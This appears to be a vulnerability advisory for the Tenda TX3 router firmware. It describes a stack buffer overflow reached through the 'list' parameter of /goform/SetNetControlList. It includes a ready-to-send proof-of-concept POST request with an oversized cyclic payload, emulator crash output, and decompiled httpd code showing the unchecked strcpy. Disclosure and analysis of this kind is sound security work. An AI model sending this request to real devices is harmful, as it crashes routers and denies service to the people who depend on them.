

Vendor of the products: Tenda

Affected products: Tenda TX3 V16.03.13.11_multi

Hardware Link: <https://www.tendacn.com/tw/download/detail-4015.html>

Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda TX3 V16.03.13.11_multi, triggered by the list parameter at /goform/SetNetControlList. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

POC

send

```
Request
Pretty Raw Hex
1 POST /goform/SetNetControlList HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
  Firefox/115.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 1005
10 Origin: http://192.168.0.1
11 Connection: close
12 Referer:
  http://192.168.0.1/net_control.html?random=0.08183510848300446&
13
14 list=
  aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaaanaaaooaaapaaa
  qaaaraaaasaaataaaauaaavaaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
  haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab
  xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac
  oaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaad
  faadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaad
  vaadwaadxaadyaadzaabaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaae
  maaenaaeoaaepaaeqaaeraaesaaetaaeuaaeavaaewaaxaaeyaaezaafbaafcaaf
  daafeaaffaafgaafhaafiaafjaafkaafllaafmaafnaafoaafpaafqaafraafsaaf
  taafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaag
  kaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaah
  baahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaah
  raahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaiahai
  iaaijaaikaailaaimaainaaiioaaiipaaiqaairaaaisaaitaaiuaaiivaaiwaaixaa
  yaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaaj
  paajqaajraajsaajtaajuajvaajwaajxaajyaaaj
```

You can see that the router has crashed.

```
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
zsh: segmentation fault sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Code in httpd

The `formSetQosBand` function is used to process the `SetNetControlList`.

```
52 websFormDefine((char_t *) "GetPptpServerCfg", formGetPPTPServer);
53 websFormDefine((char_t *) "getPptpOnlineClient", formgetPptpOnlineClient);
54 websFormDefine((char_t *) "setPptpUserList", formSetPPTPUserList);
55 websFormDefine((char_t *) "SetPptpClientCfg", formSetPPTPClient);
56 websFormDefine((char_t *) "GetPptpClientCfg", formGetPPTPClient);
57 websFormDefine((char_t *) "GetVpnStatus", formGetVpnStatus);
58 websFormDefine((char_t *) "GetAdvanceStatus", formGetAdvanceStatus);
59 websFormDefine((char_t *) "SetNetControlList", formSetQosBand);
60 websFormDefine((char_t *) "GetNetControllist", formGetQosBand);
61 formDefineUcloudv2();
62 websFormDefine((char_t *) "notNowUpgrade", formNotNowUpgrade);
63 websFormDefine((char_t *) "getHomeLink", formGetHomeLink);
64 websFormDefine((char_t *) "GetLEDCfg", formGetSchedLed);
65 websFormDefine((char_t *) "SetLEDCfg", formSetSchedLed);
66 websFormDefine((char_t *) "getMacFilterCfg", formGetMacFilterCfg);
67 websFormDefine((char_t *) "setMacFilterCfg", formSetMacFilterCfg);
68 websFormDefine((char_t *) "SetFirewallCfg", formSetFirewallCfg);
69 websFormDefine((char_t *) "GetFirewallCfg", formGetFirewallCfg);
70 websFormDefine((char_t *) "SetIPTVCfg", formSetIptv);
71 websFormDefine((char_t *) "GetIPTVCfg", formGetIptv);
72 websFormDefine((char_t *) "GetStaticRouteCfg", formGetRouteStatic);
73 websFormDefine((char_t *) "SetStaticRouteCfg", formSetRouteStatic);
74 websFormDefine((char_t *) "SetDDNSCfg", formSetSysToolDDNS);
75 websFormDefine((char_t *) "GetDDNSCfg", formGetSysToolDDNS);
```

In the `formSetQosBand` function, the value of the `list` parameter is obtained and passed to the `set_qosMib_list` function for processing.

```
1 void __fastcall formSetQosBand(webs_t wp, char_t *path, char_t *query)
2 {
3     unsigned __int8 *v4; // r4
4     int v5; // r0
5     int v6; // r2
6     unsigned __int8 cgi_debug[16]; // [sp+10h] [bp-190h] BYREF
7     unsigned __int8 ret_buf[32]; // [sp+20h] [bp-180h] BYREF
8     unsigned __int8 guest_down_speed[32]; // [sp+40h] [bp-160h] BYREF
9     unsigned __int8 guest_up_speed[32]; // [sp+60h] [bp-140h] BYREF
10    unsigned __int8 msg_info[256]; // [sp+80h] [bp-120h] BYREF
11
12    memset(ret_buf, 0, sizeof(ret_buf));
13    memset(msg_info, 0, sizeof(msg_info));
14    v4 = websGetVar(wp, (char_t *) "list", (char_t *) &byte_7A45B);
15    unSetQosOldMiblist();
16    set_qosoldMib_list();
17    unSetQosMiblist();
18    set_qosMib_list(v4, 0xAu);
19    memset(guest_down_speed, 0, sizeof(guest_down_speed));
20    memset(guest_up_speed, 0, sizeof(guest_up_speed));
21    GetValue("wl.guest.down_speed", guest_down_speed);
22    memset(cgi_debug, 0, sizeof(cgi_debug));
23    if ( GetValue("cgi_debug", cgi_debug) && !strcmp("on", (const char *)cgi_debug) )
24        printf(
25            "%s[%s:%s:%d] %s%s == %s\n\x1B[0m",
26            "\x1B[0;33m",
27            "cgi",
28            (const char *)_func__13078,
29            2073,
30            "\x1B[0;32m",
31            "wl.guest.down_speed",
32            (const char *)guest_down_speed);
33    strcpy((char *)guest_up_speed, (const char *)guest_down_speed);
34    set_wl_guest_qos_list(guest_up_speed, guest_down_speed);
35    if ( CommitCfm(v5) )
36    {
```

In the `set_qosMib_list` function, the `strcpy` function is used to copy the value of `list` without any security checks, leading to a buffer overflow.

```

1 void __fastcall set_qosMib_list(unsigned __int8 *list, unsigned __int8 c)
2 {
3     char *v3; // r0
4     unsigned __int8 *v4; // r9
5     int v5; // r11
6     int v6; // [sp+8h] [bp-288h]
7     int num; // [sp+1Ch] [bp-274h] BYREF
8     unsigned __int8 limit_en[8]; // [sp+20h] [bp-270h] BYREF
9     unsigned __int8 tmp_drate[16]; // [sp+28h] [bp-268h] BYREF
10    unsigned __int8 tmp_urate[16]; // [sp+38h] [bp-258h] BYREF
11    unsigned __int8 mac[32]; // [sp+48h] [bp-248h] BYREF
12    unsigned __int8 qos_str[256]; // [sp+68h] [bp-228h] BYREF
13    unsigned __int8 tmp_devname[256]; // [sp+168h] [bp-128h] BYREF
14
15    v6 = c;
16    num = 0;
17    memset(qos_str, 0, sizeof(qos_str));
18    *(_DWORD *)limit_en = 0;
19    *(_DWORD *)&limit_en[4] = 0;
20    memset(mac, 0, sizeof(mac));
21    memset(tmp_drate, 0, sizeof(tmp_drate));
22    memset(tmp_urate, 0, sizeof(tmp_urate));
23    memset(tmp_devname, 0, sizeof(tmp_devname));
24    while ( 1 )
25    {
26        v3 = strchr((const char *)list, v6);
27        if ( !v3 )
28            break;
29        v4 = (unsigned __int8 *)(v3 + 1);
30        *v3 = 0;
31        memset(qos_str, 0, sizeof(qos_str));
32        strcpy((char *)qos_str, (const char *)list);
33        if ( qos_str[0] == 59 )
34        {
35            v5 = 0;
36            _isoc99_sscanf(qos_str, &unk_84E1C, limit_en);

```